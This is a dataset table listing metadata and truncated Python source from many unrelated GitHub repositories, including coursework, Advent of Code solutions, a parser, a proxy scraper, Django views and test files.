seq_id stringlengths 4 11 | text stringlengths 113 2.92M | repo_name stringlengths 4 125 ⌀ | sub_path stringlengths 3 214 | file_name stringlengths 3 160 | file_ext stringclasses 18
values | file_size_in_byte int64 113 2.92M | program_lang stringclasses 1
value | lang stringclasses 93
values | doc_type stringclasses 1
value | stars int64 0 179k ⌀ | dataset stringclasses 3
values | pt stringclasses 78
values |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
18617757117 | # modules in standard library
import re
from urllib.parse import urlparse
import requests
from selenium import webdriver
from selenium.webdriver.common.keys import Keys #需要引入 keys 包
import time
class DnsRecord(object):
def __init__(self, domain):
"""
初始化基本信息
:param target: 要扫描... | b1ackc4t/getdomain | module/passive/dns_record.py | dns_record.py | py | 2,542 | python | en | code | 3 | github-code | 36 |
21218564854 | from aocd import lines, submit
ans = 0
test = False
gamma = 0
eps = 0
c = []
if test:
with open("test.txt", "r") as f:
lines = f.readlines()
for line in [l.strip() for l in lines if l]:
for i, sn in enumerate(line):
if len(c) <= i:
c.append([0,0])
n = int(sn)
c[... | benpm/advent-of-code-2021 | original_solutions/day_03/day_03.py | day_03.py | py | 633 | python | en | code | 0 | github-code | 36 |
43767527613 | # -*- coding: utf-8 -*-
# @Time : 2020/8/21 17:18
# @Author : WuatAnt
# @File : 5-5.py
# @Project : Python数据结构与算法分析
def hash(string, tablesize):
"""
为字符串构建简单的散列函数
:param string: 传入一个字符串
:param tablesize: 散列表的大小
:return: 返回散列值
"""
sum = 0
for pos in range(len(string)):
sum... | WustAnt/Python-Algorithm | Chapter5/5.2/5.2.3/5-5.py | 5-5.py | py | 521 | python | zh | code | 9 | github-code | 36 |
27764760485 | import ply.yacc as yacc
from anytree import Node
from lex import Lexer
class Parser():
# Tokens do processo de análise léxica
tokens = Lexer.tokens
def __init__(self, **kwargs):
self.totalLines = 0
self.result = True
self.lexer = Lexer()
self.parser = yacc.yacc(module=self, **kwargs)
def f_... | alanrps/Compilador_Linguagem_Tpp | parser.py | parser.py | py | 16,635 | python | pt | code | 0 | github-code | 36 |
35580246140 | import sys
import datetime
import os
class StreamCipherUtil:
def __init__(self, input_file, output_file, key):
self.key = key
self.output_file = output_file
self.input_file = input_file
self.exec_time = None
self.text_len = 0
self.bit_stream = self._pm_rand()
... | Kamkas/Stream-cipher | lab2.py | lab2.py | py | 3,322 | python | en | code | 1 | github-code | 36 |
29393168292 | class Solution:
def numRollsToTarget(self, d: int, f: int, target: int) -> int:
dp = {}
def recursion(dices, t):
if dices == 0 and t == 0:
return 1
elif dices == 0 and t != 0:
return 0
if (dices, t) in dp:
r... | AnotherPianist/LeetCode | number-of-dice-rolls-with-target-sum/number-of-dice-rolls-with-target-sum.py | number-of-dice-rolls-with-target-sum.py | py | 563 | python | en | code | 1 | github-code | 36 |
37403961227 | from regression_tests import *
class TestPlain(Test):
settings=TestSettings(
tool='fileinfo',
args='--verbose',
input='file-32bit.ex_'
)
def test_fileinfo_version_string_present(self):
self.assertRegex(self.fileinfo.output, r'RetDec Fileinfo version : RetDec .* built on .*... | avast/retdec-regression-tests | tools/fileinfo/features/fileinfo-version/test.py | test.py | py | 754 | python | en | code | 11 | github-code | 36 |
10415944432 |
print("Welcome to the quiz")
print("type 'stop' to exit\n")
run = True
question = 1
while run:
if question == 1:
answer = input("\nIs cheetah the fastest animal in the world?Yes or No?(Land, water, air)\n:")
if answer == "Yes":
print("\nIt is false.The peregrine falcon is the fastes... | ojasprogramer/python | Tanmay's quiz.py | Tanmay's quiz.py | py | 2,906 | python | en | code | 0 | github-code | 36 |
1777450651 | import spacy
# Load the English language model
nlp = spacy.load('en_core_web_sm')
# Load the scraped text from the file
with open('website_text.txt', 'r') as f:
text = f.read()
# Process the text with spaCy
doc = nlp(text)
# Extract the sentences
sentences = [sent.text.strip() for sent in doc.sents... | anupshrestha7171/FinalTaskOnMentorFriends | Qn2.py | Qn2.py | py | 341 | python | en | code | 0 | github-code | 36 |
24340323309 | from PySide2.QtWidgets import QApplication
from PySide2.QtUiTools import QUiLoader
from PySide2.QtCore import QFile
import DCT,DFT,histogram_equalization,gray,nose,buguize,duishu,gamma,test_fenge,test_kuang,test_face3,junzhi
class Stats:
def __init__(self):
qufile_stats=QFile('GUI1.ui')
qufile_stat... | lightning-skyz/test1 | GUI.py | GUI.py | py | 1,906 | python | en | code | 0 | github-code | 36 |
37695484761 | from random import randint
from concurrent.futures import ThreadPoolExecutor as pool
import random
import os
import subprocess
import re
import requests
import json
import time
class Prox:
def __init__(self):
self.alive=[]
self.unfiltered=[]
self.get_proxy('https://free-pro... | adnangif/getproxy | getproxy.py | getproxy.py | py | 2,645 | python | en | code | 0 | github-code | 36 |
27969273118 | import numpy as np
from scipy import optimize
class KernelSVC:
def __init__(self, C, kernel, epsilon=1e-3):
self.type = 'non-linear'
self.C = C
self.kernel = kernel
self.alpha = None
self.support = None
self.epsilon = epsilon
self.norm_f = None
self... | Zero-4869/Kernel-methods | classifier.py | classifier.py | py | 2,631 | python | en | code | 0 | github-code | 36 |
7054738322 | """
变量其他写法
删除变量
练习:exercise04
"""
# 写法1:变量名 = 数据
data01 = "悟空"
# print(data01)
# 写法2:变量名1, 变量名2 = 数据1, 数据2
data02, data03 = "八戒", "唐僧"
print(data02) # "八戒"
print(data03) # "唐僧"
# 写法3:变量名1 = 变量名2 = 数据
data04 = data05 = "沙僧"
print(data05)
data01 = "大圣"
print(data01)
del data02 # 删除变量data02,数据"八戒"引用计数为0所有被... | haiou90/aid_python_core | day02/demo04.py | demo04.py | py | 539 | python | zh | code | 0 | github-code | 36 |
23666599352 | import sys
sys.path.append('../')
import numpy as np
import matplotlib.pyplot as plt
from GroupingAlgorithm import groupingWithOrder
from utils import Label2Chain, H2O, save_object
from joblib import delayed, Parallel
import networkx as nx
from itertools import permutations
from tqdm.auto import tqdm
import copy
sys... | sergiomtzlosa/HEEM | Codes/deprecated/Grouping_shuffle_vs_connectivity.py | Grouping_shuffle_vs_connectivity.py | py | 3,807 | python | en | code | null | github-code | 36 |
24199168182 | import asyncio
import logging
import random
from enum import Enum
from uuid import uuid4
import websockets
from wired_exchange.kucoin import CandleStickResolution
from typing import Union
WS_OPEN_TIMEOUT = 10
WS_CONNECTION_TIMEOUT = 3
class WebSocketState(Enum):
STATE_WS_READY = 1
STATE_WS_CLOSING = 2
c... | WiredSharp/wiredExchange | wired_exchange/kucoin/WebSocket.py | WebSocket.py | py | 9,314 | python | en | code | 0 | github-code | 36 |
2791908838 | import pandas as pd
import numpy as np
table = pd.read_excel("TABLE1_updated.xlsx")
table.to_html('finalTable.html')
table.to_json('finalTable.json',orient='records')
# Filtrar por major_grouping_variable
# Agrupar por artigo
# Juntar códigos
ds = pd.read_excel("table_generator/finalTable.xlsx")
majors = table.ma... | marianacpais/RS_ambulatory_conditions | table_generator/main.py | main.py | py | 1,363 | python | en | code | 0 | github-code | 36 |
42117172102 | from gpiozero import Button, PWMLED, MotionSensor
from time import sleep, time
from signal import pause
from datetime import datetime, timedelta
import simpleaudio as sa
from models import Game, Goal, Team
from game_history import send_game_history
from constants import UI_GAME_CLOCK, UI_TEAM1_SCORE, UI_TEAM2_SCORE
imp... | hobe-studios/foos-tracks | rasppi/score_keeper.py | score_keeper.py | py | 7,000 | python | en | code | 0 | github-code | 36 |
19682706596 | import datetime
import json
import requests
from apps.findprice.models import Product, CATEGORY_CHOICES, Scan, User
from apps.findprice.serializers import ProductSerializer, ScanSerializer, ProductsCatSerializer, \
ScansForProductSerializer
from django.contrib.auth.forms import SetPasswordForm
from django.http imp... | gdoganieri/backendfindprice | apps/findprice/views.py | views.py | py | 2,711 | python | en | code | 0 | github-code | 36 |
7638888119 | # -*- coding: utf-8 -*-
"""
Created on Mon Sep 29 17:03:06 2014
@author: aaron
"""
import neblina as nb ### Module for neblina interpreter.
import operators as op ### Module for operators functions.
import ioFunctions as io ### Module for write on disk functions.
import gnuplot ... | hiperwalk/hiperwalk | Archive/staggered1d.py | staggered1d.py | py | 2,333 | python | en | code | 6 | github-code | 36 |
74285321704 | import numpy as np
from point_charge_ewald.atom import Atom
from random import sample
def flatten( l ):
return [ item for sublist in l for item in sublist ]
class Species():
def __init__( self, label, number, q, fixed, allowed_sites, sites ):
self.label = label
self.number = number
... | bjmorgan/point_charge_ewald | point_charge_ewald/species.py | species.py | py | 1,054 | python | en | code | 1 | github-code | 36 |
71952073385 | class Solution:
def rotate(self, matrix: List[List[int]]) -> None:
"""
Do not return anything, modify matrix in-place instead.
"""
n = len(matrix)
x = []
for i in range(n):
l = []
for j in range(n-1,-1,-1):
l.append(matrix[j][i]... | Exile404/LeetCode | LEETCODE_Rotate Image.py | LEETCODE_Rotate Image.py | py | 414 | python | en | code | 2 | github-code | 36 |
74060635624 | """
Twilio API NTS token
"""
import asyncio
from functools import partial
from twilio.rest import Client as TwilioRestClient
from server.config import config
class TwilioNTS:
"""
Twilio NTS Token Service
Creates new twilio NTS tokens
"""
def __init__(self, sid=None, token=None):
if si... | FAForever/server | server/ice_servers/nts.py | nts.py | py | 1,056 | python | en | code | 64 | github-code | 36 |
1818161052 | #!/usr/bin/python3
import os
import socket
import socketserver
import threading
SERVER_HOST = 'localhost'
SERVER_PORT = 9999
BUF_SIZE = 1024
ECHO_MSG = 'Hello echo server!'
class ForkingClient():
def __init__(self, ip, port):
self.sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s... | veryfreebird/codebase | pyexec/py3/9-networks-forking.py | 9-networks-forking.py | py | 1,995 | python | en | code | 2 | github-code | 36 |
19909624310 | """MAIN MODULE TO RUN"""
from datetime import datetime
import stonk_functions as func
#gets the top sector for the week
sectorOG = func.get_sector()
sector = (sectorOG.replace(' ','')).lower()
#gets todays date
day = datetime.today().strftime('%A')
if day.lower() in ("saturday", "sunday"):
day = "Frida... | abbasn785/Stock-Market-Watchlist-Assistant | stonks.py | stonks.py | py | 2,001 | python | en | code | 0 | github-code | 36 |
28721703847 | import warnings
import statsmodels.api as sm
from statsmodels.stats.outliers_influence import variance_inflation_factor
def print_vif(x):
"""Utility for checking multicollinearity assumption
:param x: input features to check using VIF. This is assumed to be a pandas.DataFrame
:return: nothing is retu... | Ninjaneer1/theWorks | print_vif.py | print_vif.py | py | 803 | python | en | code | 0 | github-code | 36 |
15867444691 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from typing import Any, Dict, Generic, Type, TypeVar, NoReturn
from pydantic import BaseModel
from sqlalchemy import select, update, delete, and_
from sqlalchemy.ext.asyncio import AsyncSession
from backend.app.models.base import MappedBase
ModelType = TypeVar('ModelTyp... | fastapi-practices/fastapi_best_architecture | backend/app/crud/base.py | base.py | py | 3,602 | python | en | code | 96 | github-code | 36 |
69905055783 | from rest_framework.response import Response
from rest_framework.decorators import api_view
from rest_framework import status
from django.shortcuts import get_object_or_404
from .models import Genre, Movie, Comment
import requests
from .serializers import(
MovieListSerializer,
MovieSerializer,
CommentListSe... | jhs9497/MovieRecommendSite | backend/movies/views.py | views.py | py | 6,928 | python | ko | code | 0 | github-code | 36 |
26976730431 | class Stacke:
def __init__(self,size) -> None:
self.top = -1
self.arr = [0]*size
self.size = size
def push(self,data):
print(self.top)
if(self.top < self.size -1 ):
self.top +=1
self.arr[self.top] = data
else:
print("Stack over... | Manoj-895/DSA-Python | Stack/Stack.py | Stack.py | py | 916 | python | en | code | 0 | github-code | 36 |
26211280111 | import sys
sys.stdin = open('input.txt')
T = 10
# 결과
#1 67 ...
for _ in range(1, T+1):
tc = int(input()) # 사다리번호
ladder = [list(map(int, input().split())) for _ in range(100)]
for i in range(100):
# 도착지를 찾는 코드
if ladder[99][i] == 2:
x = i
y = 99
# y == 0 되는 ... | hong00009/algo | swea/1210_ladder/sol1.py | sol1.py | py | 1,895 | python | ko | code | 0 | github-code | 36 |
712417785 | from unittest import TestCase
from . import TreeNode
from .search_in_a_binary_tree import SearchInABinaryTree
class SearchInABinaryTreeTest(TestCase):
def test_existing_inputs(self):
solution = SearchInABinaryTree()
subtree: TreeNode = TreeNode(2, left=TreeNode(1), right=TreeNode(3))
se... | roma-glushko/leetcode-solutions | src/tree/search_in_a_binary_tree_test.py | search_in_a_binary_tree_test.py | py | 952 | python | en | code | 3 | github-code | 36 |
2769538888 | import discord.ext.commands as disextc
import logging as lg
import yaml as yl
log = lg.getLogger(__name__)
class Config(disextc.Cog):
""" Configuration handler for the bot.
This is a yml file representation. Each configuration stored should be
under its own key:
discord:
exampledata1
... | guitaristtom/pythonbot-core | bot/cogs/config.py | config.py | py | 3,262 | python | en | code | 0 | github-code | 36 |
35970793791 | import numpy as np
from st_ops import st_ops
class PG(object):
def __init__(self, lam, A, lr):
self.lam = lam
if lr is None:
self.lr = 1.01 * np.max(np.linalg.eig(2 * A)[0])
else:
self.lr = lr
def update(self, grad, params):
next_params = params - 1/s... | sff1019/ARTT458_midterm | problem_7/optimizers/pg.py | pg.py | py | 418 | python | en | code | 0 | github-code | 36 |
71311470503 | import numpy as np
from sklearn.utils.validation import check_array, check_scalar
from scipy import stats
def z_test_one_sample(sample_data, mu_0, sigma, test_type="two-sided"):
"""Perform a one-sample z-test.
Parameters
----------
sample_data : array-like of shape (n_samples,)
Sample data d... | KlaraGtknst/e2ml_SoSe23 | e2ml/e2ml/evaluation/_one_sample_tests.py | _one_sample_tests.py | py | 3,888 | python | en | code | 0 | github-code | 36 |
73583264105 | import phunspell
import inspect
import unittest
class TestPtBR(unittest.TestCase):
pspell = phunspell.Phunspell('pt_BR')
def test_word_found(self):
self.assertTrue(self.pspell.lookup("ecocardiografável"))
def test_word_not_found(self):
self.assertFalse(self.pspell.lookup("phunspell"))
... | dvwright/phunspell | phunspell/tests/test__pt_BR.py | test__pt_BR.py | py | 604 | python | en | code | 4 | github-code | 36 |
73577359145 | import numpy as np
from src.do_not_touch.result_structures import PolicyAndActionValueFunction
from src.env.GridWorld import GridWorld
class GridWorldMonteCarlo(GridWorld):
def __init__(self, size: int = 5):
super().__init__(size)
def monte_carlo_es(self, num_episodes=1000) -> PolicyAndActionValueF... | divinoPV/deep_reinforcement_learning_on_several_envs | src/Algorithm/MonteCarlo/GridWorld.py | GridWorld.py | py | 2,445 | python | en | code | 0 | github-code | 36 |
34752581629 | test_input = '''R 4
U 4
L 3
D 1
R 4
D 1
L 5
R 2
'''
test_input2 = '''R 5
U 8
L 8
D 3
R 17
D 10
L 25
U 20
'''
from math import copysign
puzzle_input = open(__file__.replace('.py', '_input.txt')).read()
class State:
def __init__(self, knots=2):
self.visited_locations = set()
self.knots = [[0, 0]] ... | techartorg/Advent_of_Code_2022 | rob_kovach/day_09.py | day_09.py | py | 2,456 | python | en | code | 4 | github-code | 36 |
7282602903 | ################################################################################
# 1. Including files
################################################################################
import xlrd
################################################################################
# 2. Class definition
#####################... | duattn1/STM32F4Discovery_Unit_Testing | Script/UnitTestScript/XlsProcessing.py | XlsProcessing.py | py | 4,938 | python | en | code | 0 | github-code | 36 |
15119831760 | import requests
def get_page(name):
url = "https://fr.wikipedia.org/w/api.php?"
try:
response = requests.get(
url,
params={
"action": "query",
"list": "search",
"srsearch": name,
"format": "json",
},
... | PjuchNicz/Projet-ISKR | python/enrichment/wikipedia.py | wikipedia.py | py | 2,040 | python | en | code | 0 | github-code | 36 |
42154318378 | # 색종이 만들기
import sys
input = sys.stdin.readline
case = int(input())
maps = [list(map(int, input().split())) for _ in range(case)]
white = 0
blue = 0
def dq(maps, x, y, l): # x y l
global white, blue
tmp = maps[x][y]
for i in range(x, x+l):
for j in range(y, y+l):
if maps[i][j] != t... | FeelingXD/algorithm | beakjoon/2630.py | 2630.py | py | 662 | python | en | code | 2 | github-code | 36 |
39054330190 | from brainrender.Utils.camera import set_camera
import brainrender
from brainrender.Utils.camera import set_camera_params
from brainrender_gui import App
from brainrender_gui.widgets.actors_list import update_actors_list
from brainrender_gui_mod.scene_mod import SceneMod, MyInteractorStyle
from brainrender_gui_mod.wi... | Marti-Ritter/Portfolio | Injection Interface (Python)/app_mod.py | app_mod.py | py | 6,864 | python | en | code | 0 | github-code | 36 |
8625978148 | import os
import torch
def load_checkpoint(path):
if os.path.isdir(path):
path = os.path.join(path, 'checkpoint_best.pt')
dst = f'cuda:{torch.cuda.current_device()}'
print(f'Loading checkpoint from {path}')
checkpoint = torch.load(path, map_location=dst)
return checkpoint
ckpt = load_checkpoint("./LM-T... | enod/Nvidia-Transformer-XL | pytorch/generate.py | generate.py | py | 5,024 | python | en | code | 5 | github-code | 36 |
37339861285 | import heapq
def make_graph():
# identical graph as the YouTube video: https://youtu.be/cplfcGZmX7I
# tuple = (cost, n1, n2)
return {
'A': [(3, 'D', 'A'), (3, 'C', 'A'), (2, 'B', 'A')],
'B': [(2, 'A', 'B'), (4, 'C', 'B'), (3, 'E', 'B')],
'C': [(3, 'A', 'C'), (5, 'D', 'C'), (6, 'F', ... | msambol/dsa | minimum_spanning_trees/prims.py | prims.py | py | 1,520 | python | en | code | 211 | github-code | 36 |
16673314825 | #!/usr/bin/python3
import numpy as np
input = []
folds = []
dims = [0, 0]
with open('13/input.txt', 'r') as f:
l = input
for line in f.readlines():
if line.count(',') > 0:
l = list(map(int, line.strip().split(',')))
for i in [0,1]:
if l[i] > dims[i]:
... | chaserobertson/advent | 2021/13/1.py | 1.py | py | 1,421 | python | en | code | 0 | github-code | 36 |
34526548926 | import numpy as np
import openpyxl as op
import pandas as pd
import pymysql
from sqlalchemy import create_engine
import requests
import datetime as dt
import os
import xlrd
def read_table(path):
wb = op.load_workbook(path)
ws = wb.active
df = pd.DataFrame(ws.values)
df = pd.DataFrame(df.iloc[1:].values,... | yourant/ERPdata_Transfer | products_transfer.py | products_transfer.py | py | 21,610 | python | en | code | 0 | github-code | 36 |
28849898421 | #The provided code stub will read in a dictionary containing key/value
#pairs of name:[marks] for a list of students. Print the average of the
#marks array for the student name provided, showing 2 places after the decimal.
#Input Format
#The first line contains the integer n, the number of students' records.
#The ... | CHIRAG3899/Hackerrank | Python Hackerrank/11 Finding the percentage.py | 11 Finding the percentage.py | py | 874 | python | en | code | 0 | github-code | 36 |
6084331741 | import collections
def number_of_islands(grid):
# this problem can be approached by dfs/bfs approach
# base case
if not grid:
return 0
ROWS, COLS = len(grid), len(grid[0])
visit = set()
island = 0
def bfs(r, c):
# since bfs, need a queue
# append r, c immediately... | phuclinh9802/data_structures_algorithms | blind 75/number_of_islands.py | number_of_islands.py | py | 1,416 | python | en | code | 0 | github-code | 36 |
19933632487 | """
Your Library Page Testing
This script tests the Your Library Page functions and report the results to allure
This script requires `allure` and `pytest` be installed within the Python environment you are running this script in
"""
import time
import allure
import pytest
from Web_Testing.Pages.WebPlayerLibrary im... | Project-X9/Testing | Web_Testing/Tests/test_yourLibrary.py | test_yourLibrary.py | py | 5,634 | python | en | code | 0 | github-code | 36 |
8670535309 | import logging
from cterasdk import CTERAException
def suspend_filer_sync(self=None, device_name=None, tenant_name=None):
"""Suspend sync on a device"""
logging.info("Starting suspend sync task.")
try:
device = self.devices.device(device_name, tenant_name)
device.sync.suspend(wait=True)
... | ctera/ctools | suspend_sync.py | suspend_sync.py | py | 477 | python | en | code | 4 | github-code | 36 |
19509726145 | #README
'''
buka file dengan cara mengetikan:
python main.py "folder_yang_berisi_data_csv"
selama fungsi login belum jadi, cara keluar program adalah control + "c"
'''
#import modul yang dibuat
from read_csv import load
from add_data import *
from write_csv import save
from login import login
from caritahun import... | bryanbernigen/TubesSem2 | main.py | main.py | py | 8,850 | python | id | code | 0 | github-code | 36 |
8490770607 | #%%
import numpy as np
import pandas as pd
from sklearn import metrics
from matplotlib import pyplot as plt
import glob
#%%
class Takens:
'''
constant
'''
tau_max = 30
'''
initializer
'''
def __init__(self, data,tau=None):
self.data = data
if tau is None:
self.tau, self.nmi = self.__search_... | kei-mo/BehavCrassificationElegans_TDE | tde.py | tde.py | py | 3,519 | python | en | code | 0 | github-code | 36 |
73485605863 | import argparse
import os
import uuid
import numpy as np
import torch
from torch import optim
from torch.nn import functional
from torch.utils.data import DataLoader
from datasets import load_metric
import albumentations
from albumentations.pytorch import ToTensorV2
from tqdm import tqdm
from utils import set_see... | lexiconium/2022_ai_online_competition-sementic_segmentation | train_twin_head_segformer.py | train_twin_head_segformer.py | py | 5,536 | python | en | code | 0 | github-code | 36 |
13143781971 | # A stream of data is received and needs to be reversed.
#
# Each segment is 8 bits long, meaning the order of these segments needs to be reversed, for example:
#
# 11111111 00000000 00001111 10101010
# (byte1) (byte2) (byte3) (byte4)
# should become:
#
# 10101010 00001111 00000000 11111111
# (byte4) (b... | michsanya/codewars | DataReverse.py | DataReverse.py | py | 989 | python | en | code | 0 | github-code | 36 |
11715375830 | from typing import Literal
import beaker as bk
from pyteal import (
Expr,
Global,
InnerTxnBuilder,
Int,
Seq,
Txn,
TxnField,
TxnType,
abi,
)
app = bk.Application("EventTicket")
@app.external
def create_asset(
assetName: abi.String,
assetUrl: abi.String,
assetTotal: abi... | freddyblockchain/AlgokitProject | smart_contracts/code/eventticket.py | eventticket.py | py | 2,429 | python | en | code | 0 | github-code | 36 |
34366485863 | from scripts.leet75.reverse_string import Solution
class Test:
test_cases = [
[["h", "e", "l", "l", "o"], ["o","l","l","e","h"]],
[["H","a","n","n","a","h"], ["h","a","n","n","a","H"]],
[["h"], ["h"]],
[[], []],
]
def test_reverse_string(self):
soln = Solution()
... | TrellixVulnTeam/learning_to_test_code_BL81 | tests/leet75/test_reverse_string.py | test_reverse_string.py | py | 740 | python | en | code | 0 | github-code | 36 |
19033561242 | """ Module which contains function determining possible configurations of a mission."""
def get_mission_components(data, root):
"""
Returns all possible combinations of components for a mission which is specified by its
root node (according to the constrained AND-OR tree). This is done by traversing the t... | CSIRT-MU/CRUSOE | crusoe_decide/crusoe_decide/components.py | components.py | py | 3,916 | python | en | code | 9 | github-code | 36 |
70477030183 | import os
import pandas as pd
from selenium import webdriver
from selenium.webdriver.common.by import By
from lxml import etree
browser = webdriver.Chrome()
browser.maximize_window() # 창 최대화
# 1. 페이지 이동
url = 'https://finance.naver.com/sise/sise_market_sum.naver?&page='
browser.get(url) # 해당 url로 페이지 이동
# 2. 조회 항목 초... | thisiswoo/python_practice | naver_stock_crawling/market_cap.py | market_cap.py | py | 2,652 | python | ko | code | 0 | github-code | 36 |
24065321916 | import os
import psutil
import platform
from gns3server.web.route import Route
from gns3server.config import Config
from gns3server.schemas.version import VERSION_SCHEMA
from gns3server.compute.port_manager import PortManager
from gns3server.version import __version__
from aiohttp.web import HTTPConflict
class Serve... | vieyahn/docker-cisco-lab | gns3server/gns3server/handlers/api/compute/server_handler.py | server_handler.py | py | 2,414 | python | en | code | 0 | github-code | 36 |
74330584745 | # -*- coding: utf-8 -*-
__author__ = "Amir Arfan, Sebastian Becker"
__email__ = "amar@nmbu.no, sebabeck@nmbu.no"
"""
Simulation of the Island with visualization
"""
from .map import Map
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
import subprocess
imp... | amirarfan/BioSim_G03_Amir_Sebastian | src/biosim/simulation.py | simulation.py | py | 15,901 | python | en | code | 0 | github-code | 36 |
38758362841 | #!/usr/bin/env python
"""
engine utilises a function policy to choose the best move using minimax
"""
from noughts_crosses import *
from node import *
class Engine:
def __init__(self, policy, searchDepth, discount):
# policy : fn board -> [-1.0, 1.0]'
# searchDepth : int
self.policy = pol... | dyth/Juno | engine.py | engine.py | py | 2,412 | python | en | code | 0 | github-code | 36 |
40117095233 | """
pop_by_tract.py (Script 1/3)
Date updated: 5/11/2023
Imports DC population data by census tract from Census API.
"""
"""
Requires:
- Census API key, which can be acquired here: https://api.census.gov/data/key_signup.html
Output:
- "pop_by_tract_2020.csv"
"""
#%%
## Set working directory to script direc... | tbond99/dc-historic-districts-and-gentrification | 1__2020_Analysis/1_pop_by_tract.py | 1_pop_by_tract.py | py | 2,153 | python | en | code | 0 | github-code | 36 |
18395372288 | """
Produce the feature importance matrices for the trained RF models as in Figures 4-6 of Appleby+2023.
"""
import matplotlib
import matplotlib.pyplot as plt
import seaborn as sns
import numpy as np
import pandas as pd
import pickle
import sys
from sklearn.ensemble import RandomForestRegressor, ExtraTreesRegressor
... | sarahappleby/cgm_ml | plot_feature_importance.py | plot_feature_importance.py | py | 5,793 | python | en | code | 0 | github-code | 36 |
26259789038 | # Problem : Inverse Geodesic using GeographicLib
from geographiclib.geodesic import Geodesic
geod = Geodesic.WGS84 # กำหนดให้เป็นแบบจำลอง WGS84
def Geodesic_Inverse( lat1, lng1, lat2, lng2 ): # สร้างฟังก์ชันเพื่อหา Geodesic ด้วยวิธิ Inverse
result = geod.Inverse(lat1, lng1, lat2, lng2)
# กำหนด result เพื่อร... | isara-c/Geodesy-SurveyEng | GeodesicAirliner.py | GeodesicAirliner.py | py | 1,163 | python | th | code | 0 | github-code | 36 |
32527451220 | import requests
from bs4 import BeautifulSoup
from multiprocessing import Pool
def get_web_source():
with open('pylib_data.html','r') as r:
data = r.read()
return data
#print(data)
def get_url_list(web_source):
#url = 'https://www.lfd.uci.edu/~gohlke/pythonlibs/'
base_url = 'https://download.lf... | MrDannyWu/DannyPythonStudy | py_script/get_python_libs.py | get_python_libs.py | py | 1,785 | python | en | code | 0 | github-code | 36 |
7706920914 | from interventions_labeling_lib.hearst_pattern_finder import HearstPatterns
from text_processing import text_normalizer
import pickle
from time import time
from text_processing import concepts_merger
import os
class HyponymsSearch:
def __init__(self):
self.symbols_count = 5
self.dict_hyponyms ... | MariyaIvanina/articles_processing | src/interventions_labeling_lib/hyponym_search.py | hyponym_search.py | py | 3,127 | python | en | code | 3 | github-code | 36 |
31266470749 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.utils.timezone
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations ... | unkvuzutop/product | product/migrations/0001_initial.py | 0001_initial.py | py | 2,443 | python | en | code | 0 | github-code | 36 |
14566383158 | from django.core.management.base import BaseCommand
from depot.models import SiteBookPublish
class Command(BaseCommand):
def handle(self, **options):
for p in SiteBookPublish.objects.filter(status=0).order_by('created_at'):
print(p.id, p.site_book, p.created_at)
p.publish()
| fnp/redakcja | src/depot/management/commands/depot.py | depot.py | py | 314 | python | en | code | 4 | github-code | 36 |
26319259400 | """
Module determining pilot certifications, ratings, and endorsements.
The restrictions that we place on a pilot depend on their qualifications. There are three
ways to think about a pilot.
(1) Certifications. These are what licenses a pilot has. We also use these to classify
where the student is in the licensing... | ChrisMJordan/eCornell_Cert_Project | pilots.py | pilots.py | py | 16,872 | python | en | code | 0 | github-code | 36 |
43589729276 | import numpy as np
import csv
import math
class param:
# Cardinalità minima di possol e negsol
minSol = 30
# Limite di cardinalità per possol e negsol
maxSol = 70
# Peso load excess
omega = 40
# Peso diversità (rispetto maxSol) (più è alto e meno pesa)
muelite = 1.5
# Probabilità ... | neeco1991/uhgs | param.py | param.py | py | 4,170 | python | en | code | 2 | github-code | 36 |
30221585975 | from bs4 import BeautifulSoup
import requests
import csv
import pandas as pd
import os
source = requests.get('https://www.centuryply.com/centurylaminates/')
soup = BeautifulSoup(source.content, 'lxml')
for main in soup.select('li.dropdown-submenu'):
for a_link in main.find_all('a'):
try:
t_l... | jhankarnarang/Century-Plywood-Web-Scraping | Century Laminates/main.py | main.py | py | 2,060 | python | en | code | 0 | github-code | 36 |
14713582650 | #!/bin/python3
import math
import os
import random
import re
import sys
#
# Complete the 'plusMinus' function below.
#
# The function accepts INTEGER_ARRAY arr as parameter.
#
def plusMinus(arr):
length_of_arr = len(arr)
positive_count = 0
negative_count = 0
zero_count = 0
index = 0
for ... | AndrewDass1/HACKERRANK-PROBLEM-SOLUTIONS | Interview Preparation Kits/1 Week Preparation Kit/plus_minus_solution.py | plus_minus_solution.py | py | 969 | python | en | code | 0 | github-code | 36 |
36947774959 | __revision__ = "src/engine/SCons/Tool/gs.py bee7caf9defd6e108fc2998a2520ddb36a967691 2019-12-17 02:07:09 bdeegan"
import SCons.Action
import SCons.Builder
import SCons.Platform
import SCons.Util
# Ghostscript goes by different names on different platforms...
platform = SCons.Platform.platform_default()
if platform =... | mongodb/mongo | src/third_party/scons-3.1.2/scons-local-3.1.2/SCons/Tool/gs.py | gs.py | py | 1,659 | python | en | code | 24,670 | github-code | 36 |
37088074525 | # -*- coding: utf-8 -*-
import MySQLdb as MySQL # pip install mysqlclient
class WorkWithDb:
def __init__(self):
pass
def perform_connection(self):
try_connection_count = 0
print("Подключение к базе...")
while try_connection_count <= 3:
try:
self.d... | Swarmi24/Lazy24 | workwithdb.py | workwithdb.py | py | 3,260 | python | ru | code | 0 | github-code | 36 |
30397116642 | from dagger import conf
from dagger.dag_creator.graph_traverser_base import GraphTraverserBase
from dagger.graph.task_graph import Graph
from dagger.utilities import uid
from neo4j import GraphDatabase
class DagCreator(GraphTraverserBase):
def __init__(self, task_graph: Graph):
super().__init__(task_graph... | siklosid/dagger | dagger/dag_creator/neo4j/dag_creator.py | dag_creator.py | py | 4,182 | python | en | code | 7 | github-code | 36 |
17092139917 | import os
import speedtest_cli as speedtest
import datetime
import sqlite3
import time
from sqlite3 import Error
from xml.etree import ElementTree
from xml.etree.ElementTree import Element
from xml.etree.ElementTree import SubElement
try:
urltocheck = os.environ['UPCHECK_URLTOCHECK']
except os.error as e:
prin... | overallcoma/upcheck | upcheck-client/upcheck-client-scheduledtasks.py | upcheck-client-scheduledtasks.py | py | 4,428 | python | en | code | 0 | github-code | 36 |
43301296714 | """This implements pyjitpl's execution of operations.
"""
from rpython.rtyper.lltypesystem import lltype, rstr, llmemory
from rpython.rlib.rarithmetic import ovfcheck, r_longlong, is_valid_int
from rpython.rlib.unroll import unrolling_iterable
